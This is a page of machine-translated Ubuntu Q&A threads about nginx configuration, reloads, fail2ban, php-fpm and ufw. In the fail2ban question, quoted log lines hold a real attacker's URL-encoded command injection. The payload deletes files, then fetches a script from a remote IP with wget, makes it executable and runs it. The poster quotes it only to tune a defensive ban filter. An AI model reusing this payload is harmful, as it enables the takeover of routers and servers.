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主页 / ubuntu / 问题

问题[nginx](ubuntu)

Martin Hope
PeraMika
Asked: 2024-06-06 17:35:56 +0800 CST

是否需要进行其他更改才能使worker_rlimit_nofile生效?

  • 5

我们有一个带有 Nginx(1.18)的 Ubuntu 服务器(22.04)。 ulimit -n返回1024并且在/etc/nginx/nginx.conf中有以下设置:

user www-data;
worker_processes auto;

events {
    worker_connections 1024;
}

我们阅读了一些有关“优化 Nginx”、文件描述符、worker_connections 等的文档和各种博客。例如:https://docs.nginx.com/nginx-management-suite/admin-guides/configuration /配置网关/

您可能还想调整进程可以打开的最大文件描述符数量 (worker_rlimit_nofile),以与工作连接数量保持一致。请注意,rlimit_nofile 是系统设置,因此请务必检查 Linux 发行版的用户限制,因为这些限制可能更加严格。

假设我们需要将工作连接数增加一倍,从1024增加到2048。如果我们要修改配置(并重新启动 nginx):

user www-data;
worker_processes auto;
worker_rlimit_nofile 2048; // <<< added

events {
    worker_connections 2048; // <<< changed
}

ulimit -n考虑到返回1024就足够了吗?或者这些更改还不够,不会产生效果,需要通过运行以下命令来增加系统对文件描述符的软限制:

ulimit -n 2048

或者将以下行添加到 shell 配置文件 (例如 /etc/security/limits.conf):

www-data soft nofile 2048
www-data hard nofile 2048

(不确定这是否就是全部,或者是否还有一些配置文件需要修改)

nginx
  • 1 个回答
  • 34 Views
Martin Hope
Alessandro Carini
Asked: 2024-05-08 22:15:40 +0800 CST

fail2ban 正则表达式无法匹配 nginx 错误日志

  • 5

在我的fail2ban配置中,过滤器nginx-botsearch.conf(Ubuntu 22.04.4 LTS 附带的过滤器)被激活。

请帮助我调试正则表达式的行为

^ \[error\] \d+#\d+: \*\d+ (\S+ )?\"\S+\" (failed|is not found) \(2\: No such file or directory\), client\: <HOST>\, server\: \S*\, request: \"(GET|POST|HEAD) \/<block> \S+\"\, .*?$

这个正则表达式确实捕获了这些日志行:

2024/05/08 13:00:40 [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"

2024/05/08 13:00:40 [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"

但无法匹配这一行(非常相似):

2024/05/08 11:55:04 [error] 637#637: *7233 open() "/var/www/html/node01c/new/.git/config" failed (2: No such file or directory), client: 31.7.62.226, server: node-c.myhost.com, request: "GET /new/.git/config HTTP/1.1", host: "20.208.129.142"

尝试使用一些在线工具对其进行调试并不能突出任何特定原因。

nginx
  • 1 个回答
  • 50 Views
Martin Hope
John14
Asked: 2023-04-02 02:57:01 +0800 CST

如何安装 ngx_http_ssi_module

  • 5

在我的案例中,默认的 NGINX 配置不包括 SSI 模块(不要与 SSL 混淆)

# nginx -V 
nginx version: nginx/1.18.0 (Ubuntu)
built with OpenSSL 1.1.1f  31 Mar 2020
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2 
-fdebug-prefix-map=/build/nginx-lUTckl/nginx-1.18.0=. 
-fstack-protector-strong 
-Wformat 
-Werror=format-security 
-fPIC 
-Wdate-time 
-D_FORTIFY_SOURCE=2' 
--with-ld-opt='-Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-z,now -fPIC' 
--prefix=/usr/share/nginx 
--conf-path=/etc/nginx/nginx.conf 
--http-log-path=/var/log/nginx/access.log 
--error-log-path=/var/log/nginx/error.log 
--lock-path=/var/lock/nginx.lock 
--pid-path=/run/nginx.pid 
--modules-path=/usr/lib/nginx/modules 
--http-client-body-temp-path=/var/lib/nginx/body 
--http-fastcgi-temp-path=/var/lib/nginx/fastcgi 
--http-proxy-temp-path=/var/lib/nginx/proxy 
--http-scgi-temp-path=/var/lib/nginx/scgi 
--http-uwsgi-temp-path=/var/lib/nginx/uwsgi 
--with-debug 
--with-compat  
--with-pcre-jit 
--with-http_ssl_module 
--with-http_stub_status_module 
--with-http_realip_module 
--with-http_auth_request_module 
--with-http_v2_module 
--with-http_dav_module 
--with-http_slice_module 
--with-threads 
--with-http_addition_module 
--with-http_gunzip_module 
--with-http_gzip_static_module 
--with-http_image_filter_module=dynamic 
--with-http_sub_module 
--with-http_xslt_module=dynamic 
--with-stream=dynamic 
--with-stream_ssl_module 
--with-mail=dynamic 
--with-mail_ssl_module

ngx_http_ssi_module ( http://nginx.org/en/docs/http/ngx_http_ssi_module.html ) 丢失。如何安装?

nginx
  • 1 个回答
  • 15 Views
Martin Hope
Amit Shakya
Asked: 2021-05-22 03:34:05 +0800 CST

Linux进程在杀死后自动以新的新PID重新启动

  • 1

我想在 Linux 上停止 Node 服务器,但是当我尝试停止它时,它会自动以新的 PID 重新启动。我怎样才能完全阻止这种情况?在这里你可以看到我试图停止 Nginx 和 Node 进程。

节点服务器

我试过尝试这些命令:

kill pid
Kill -9 pid
killall node <<command not working
killall -s KILL node <<< not working

当我试图杀死进程 3814 时,它显示错误 No such process,我该如何停止节点服务器???

nginx
  • 1 个回答
  • 1239 Views
Martin Hope
vgoklani
Asked: 2021-04-21 06:28:20 +0800 CST

通过 IP 阻止/拒绝 nginx 连接的有效方法

  • 0

我想使用 nginx 按 IP 过滤几个不同的端点。我当前的解决方案是为每个端点剪切并粘贴以下代码:

    location /api0 {
        allow 123.45.67.89; 
        allow 98.765.43.21; 
        deny all;
        ......
    }

    location /api1 {
        allow 123.45.67.89; 
        allow 98.765.43.21; 
        deny all;
        ......
    }

    etc

有没有更有效的方法来设置这些 IP 过滤器?是否可以设置一个组,以便我可以将其用于配置文件中的所有端点?

我的主要问题是有时需要更改 IP 地址,这意味着我必须手动剪切和粘贴 IP,然后重新启动 nginx。

谢谢!

nginx
  • 1 个回答
  • 75 Views
Martin Hope
Александр Бондаренко
Asked: 2021-03-23 02:23:09 +0800 CST

如果“重新加载”2 次,nginx 会挂起

  • 0

如果您执行“service nginx reload”2 次(这也适用于任何执行“reload”的命令,例如 systemctl reload nginx.service) - nginx 挂起并停止处理请求。

  • Ubuntu 20.10
  • nginx版本:nginx/1.18.0(Ubuntu)

算法:

root@srv# service nginx reload
root@srv# service nginx reload
nginx.service is not active, cannot reload.
root@srv# service nginx status

● nginx.service - A high performance web server and a reverse proxy server
     Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
     Active: failed (Result: core-dump) since Mon 2021-03-22 12:18:00 MSK; 4s ago
       Docs: man:nginx(8)
    Process: 6747 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
    Process: 6748 ExecStart=/usr/sbin/nginx -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
    Process: 6798 ExecReload=/usr/sbin/nginx -g daemon on; master_process on; -s reload (code=exited, status=0/SUCCESS)
   Main PID: 6749 (code=dumped, signal=SEGV)
      Tasks: 0 (limit: 2281)
     Memory: 792.0K
     CGroup: /system.slice/nginx.service

Mar 22 12:18:00 vps-8355f791 systemd[1]: Reloaded A high performance web server and a reverse proxy server.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Main process exited, code=dumped, status=11/SEGV
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Killing process 6750 (nginx) with signal SIGKILL.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Killing process 6799 (nginx) with signal SIGKILL.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Killing process 6750 (nginx) with signal SIGKILL.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Killing process 6799 (nginx) with signal SIGKILL.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Failed with result 'core-dump'.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Unit process 6750 (nginx) remains running after unit stopped.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Unit process 6799 (nginx) remains running after unit stopped.
Mar 22 12:18:03 vps-8355f791 systemd[1]: nginx.service: Unit cannot be reloaded because it is inactive.

Journalctl:

Mar 22 12:18:00 vps-8355f791 kernel: nginx[6749]: segfault at 10 ip 00007f0ebffa5b33 sp 00007fffa313d360 error 4 in libperl.so.5.30.3[7f0ebff3d000+167000]
Mar 22 12:18:00 vps-8355f791 kernel: Code: 48 89 43 10 48 83 c4 18 5b 5d 41 5c 41 5d 41 5e 41 5f c3 0f 1f 40 00 0f b6 7f 30 48 c1 e8 03 48 29 f8 48 89 c3 74 89 48 8b 02 <4c> 8b 68 10 4d 85 ed 0f 84 28 01 00 00 0f b6 40 30 49 c1 ed 03 49
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Main process exited, code=dumped, status=11/SEGV
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Killing process 6750 (nginx) with signal SIGKILL.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Killing process 6799 (nginx) with signal SIGKILL.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Killing process 6750 (nginx) with signal SIGKILL.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Killing process 6799 (nginx) with signal SIGKILL.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Failed with result 'core-dump'.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Unit process 6750 (nginx) remains running after unit stopped.
Mar 22 12:18:00 vps-8355f791 systemd[1]: nginx.service: Unit process 6799 (nginx) remains running after unit stopped.
Mar 22 12:18:03 vps-8355f791 systemd[1]: nginx.service: Unit cannot be reloaded because it is inactive.
Mar 22 12:18:08 vps-8355f791 sudo[6814]: pam_unix(sudo:session): session opened for user root by (uid=0)
Mar 22 12:18:08 vps-8355f791 sudo[6816]:     root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/service nginx restart
Mar 22 12:18:08 vps-8355f791 sudo[6816]: pam_unix(sudo:session): session opened for user root by (uid=0)
Mar 22 12:18:08 vps-8355f791 systemd[1]: Starting A high performance web server and a reverse proxy server...
Mar 22 12:18:08 vps-8355f791 systemd[1]: Started A high performance web server and a reverse proxy server.
Mar 22 12:18:08 vps-8355f791 sudo[6816]: pam_unix(sudo:session): session closed for user root
Mar 22 12:18:08 vps-8355f791 sudo[6814]: pam_unix(sudo:session): session closed for user root

同时,只要输入一次命令,一切都会顺利进行。但是如果你快速输入命令2次,就会发生冲突。

nginx
  • 1 个回答
  • 398 Views
Martin Hope
Ten Digit Grid
Asked: 2020-11-26 10:51:55 +0800 CST

升级到之后的 nginx.conf 和 php 问题

  • 0

我刚刚将 AWS 上的 ubunut 服务器从 Ubuntu 16.x 升级到 Ubuntu 20.04.1 LT

一开始我在升级时遇到了一些问题,但我能够克服这些问题。一旦我升级了,虽然我无法让 nginx 运行并再次实际使用我的网站。

在查看了我的 nginx.conf 和错误之后,这一行导致了一个错误:

nclude /etc/nginx/sites-enabled/*;

启用站点的示例文件与我的实际网站文件一起存在,因此我将其更改为:

include /etc/nginx/sites-enabled/mywebsite.net;

一旦我提出了这个问题,我就可以让 nginx 启动并运行,但是当我试图查看我的网站时,我得到了 502 错误。

在查看日志时,我能够拉出这条线:

2020/11/25 15:27:02 [crit] 12327#12327: *1 connect() to unix:/var/run/php/php7.2-fpm.sock failed (2: No such file or directory) while connecting to upstream, client: xx.xx.xx.xx, server: www.mywebsite.net, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php7.2-fpm.sock:", host: "www.mywebsite.net"

所以我回到我的/sites-enabled/mywebsite.net文件,我相信这就是问题所在,因为没有指向正确的 php 位置:

location ~ .php$ {
      fastcgi_split_path_info ^(.+.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
        fastcgi_index index.php;
        include fastcgi_params;

        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    }

但我不确定下一步该怎么做才能让它指向 php 的正确位置?

server upgrade php nginx 20.04
  • 1 个回答
  • 875 Views
Martin Hope
workfily app
Asked: 2020-11-22 04:13:25 +0800 CST

nginx更新配置文件后重启失败如何解决

  • 0

我在重新启动 nginx 时遇到问题。我对 ubuntu 和 nginix 很陌生。我正在尝试更改 nginx.conf 和 default.conf(新创建)的配置。我的主要目标是将我的 MERN 应用程序部署到 Amazon Ec2

这里分别是我的配置

server {
    #listen       80;
    listen 80 default_server;
    listen [::]:80 default_server;
    server_name  yourdomain.com;

    access_log /home/ubuntu/client/server_logs/host.access.log main;

    location / {
        root   /home/ubuntu/client/deploy;
        index  index.html index.htm;
        try_files $uri /index.html;
        add_header X-Frame-Options SAMEORIGIN;
        add_header X-Content-Type-Options nosniff;
        add_header X-XSS-Protection "1; mode=block";
        add_header Strict-Transport-Security "max-age=31536000; includeSubdomains;";
    }

    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

    server_tokens off;

    location ~ /\.ht {
        deny  all;
    }

}

user ubuntu;
worker_processes  1;

error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    client_body_buffer_size 100k;
    client_header_buffer_size 1k;
    client_max_body_size 100k;
    large_client_header_buffers 2 1k;
    client_body_timeout 10;
    client_header_timeout 10;
    keepalive_timeout 5 5;
    send_timeout 10;
    server_tokens off;
    #gzip  on; on;

    include /etc/nginx/conf.d/*.conf;
}

如果我尝试使用以下命令“sudo service nginx restart”重新启动 nginx,则会收到以下错误:

Job for nginx.service failed because the control process exited with an error code.
See "systemctl status nginx.service" and "journalctl -xe" for details.

由于我对 ubuntu 和 nginx 的经验很少,我真的需要有人告诉我做错了什么。或者是否有任何我可以访问的链接有助于理解 nginx 配置。任何帮助将不胜感激

从 systemctl status nginx.service 和 journalctl -xe 输出”:

● nginx.service - A high performance web server and a reverse proxy server
     Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
     Active: failed (Result: exit-code) since Sat 2020-11-21 12:23:42 UTC; 22s ago
       Docs: man:nginx(8)
    Process: 21094 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=1/FAILURE)

Nov 21 12:23:42 ip-172-31-23-90 systemd[1]: Starting A high performance web server and a reverse proxy server...
Nov 21 12:23:42 ip-172-31-23-90 nginx[21094]: nginx: [emerg] unknown directive "sten" in /etc/nginx/conf.d/default.conf:1
Nov 21 12:23:42 ip-172-31-23-90 nginx[21094]: nginx: configuration file /etc/nginx/nginx.conf test failed
Nov 21 12:23:42 ip-172-31-23-90 systemd[1]: nginx.service: Control process exited, code=exited, status=1/FAILURE
Nov 21 12:23:42 ip-172-31-23-90 systemd[1]: nginx.service: Failed with result 'exit-code'.
Nov 21 12:23:42 ip-172-31-23-90 systemd[1]: Failed to start A high performance web server and a reverse proxy server.
The job identifier is 5626.
Nov 21 12:23:42 ip-172-31-23-90 nginx[21094]: nginx: [emerg] unknown directive "sten" in /etc/nginx/conf.d/default.conf:1
Nov 21 12:23:42 ip-172-31-23-90 nginx[21094]: nginx: configuration file /etc/nginx/nginx.conf test failed
Nov 21 12:23:42 ip-172-31-23-90 systemd[1]: nginx.service: Control process exited, code=exited, status=1/FAILURE
-- Subject: Unit process exited
-- Defined-By: systemd

我还用“cat /var/log/nginx/error.log”检查了错误日志,我得到了以下信息:

ubuntu@ip-172-31-23-90:~$ cat /var/log/nginx/error.log
2020/11/21 07:47:49 [emerg] 18846#18846: unknown directive "er" in /etc/nginx/nginx.conf:1
2020/11/21 07:54:57 [emerg] 18898#18898: unknown directive "er" in /etc/nginx/nginx.conf:1
2020/11/21 07:59:37 [emerg] 18924#18924: unknown directive "er" in /etc/nginx/nginx.conf:1
2020/11/21 11:09:41 [emerg] 20449#20449: unknown directive "er" in /etc/nginx/nginx.conf:1
2020/11/21 11:20:03 [emerg] 20485#20485: unknown directive "er" in /etc/nginx/nginx.conf:1
2020/11/21 11:52:44 [emerg] 20822#20822: unknown directive "sten" in /etc/nginx/conf.d/default.conf:1
2020/11/21 12:23:42 [emerg] 21094#21094: unknown directive "sten" in /etc/nginx/conf.d/default.conf:1
server nginx aws
  • 1 个回答
  • 2765 Views
Martin Hope
uav
Asked: 2020-10-22 04:39:48 +0800 CST

你从哪里获得最新的 nginx-extras?1.16.1 旧了?

  • 1

你从哪里获得最新的 nginx-extras?1.16.1 太旧了?!

我所拥有的(在 Ubuntu 18.04 上):

/etc/apt/sources.list.d/nginx-ubuntu-stable-bionic.list

deb http://ppa.launchpad.net/nginx/stable/ubuntu bionic main
# deb-src http://ppa.launchpad.net/nginx/stable/ubuntu bionic main
$ sudo apt update
$ sudo apt dist-upgrade
$ nginx -v
nginx version: nginx/1.16.1

我尝试评论“自定义启动板回购”。没有什么。

package-management server updates apt nginx
  • 1 个回答
  • 1000 Views
Martin Hope
Stonecraft
Asked: 2020-10-18 15:55:36 +0800 CST

ufw delete allow 'Nginx HTTP':无法删除不存在的规则,但它确实存在

  • 0

我已经使用这些说明成功地设置了 nginx ,但是其中一部分对我来说从来没有用过,即使它似乎没有引起问题,这也让我感到困扰。

root@devtest:/home/dev-admin# ufw app list
Available applications:
  Nginx Full
  Nginx HTTP
  Nginx HTTPS
  OpenSSH
root@devtest:/home/dev-admin# sudo ufw delete allow 'Nginx HTTP'
Could not delete non-existent rule
Could not delete non-existent rule (v6)
root@devtest:/home/dev-admin# ufw app list
Available applications:
  Nginx Full
  Nginx HTTP
  Nginx HTTPS
  OpenSSH

我在这里想念什么?这不是删除规则的正确语法吗?这是在 Ubuntu 20.04 上,但我在 18.04 上得到了相同的结果。

server firewall ufw nginx
  • 1 个回答
  • 1054 Views

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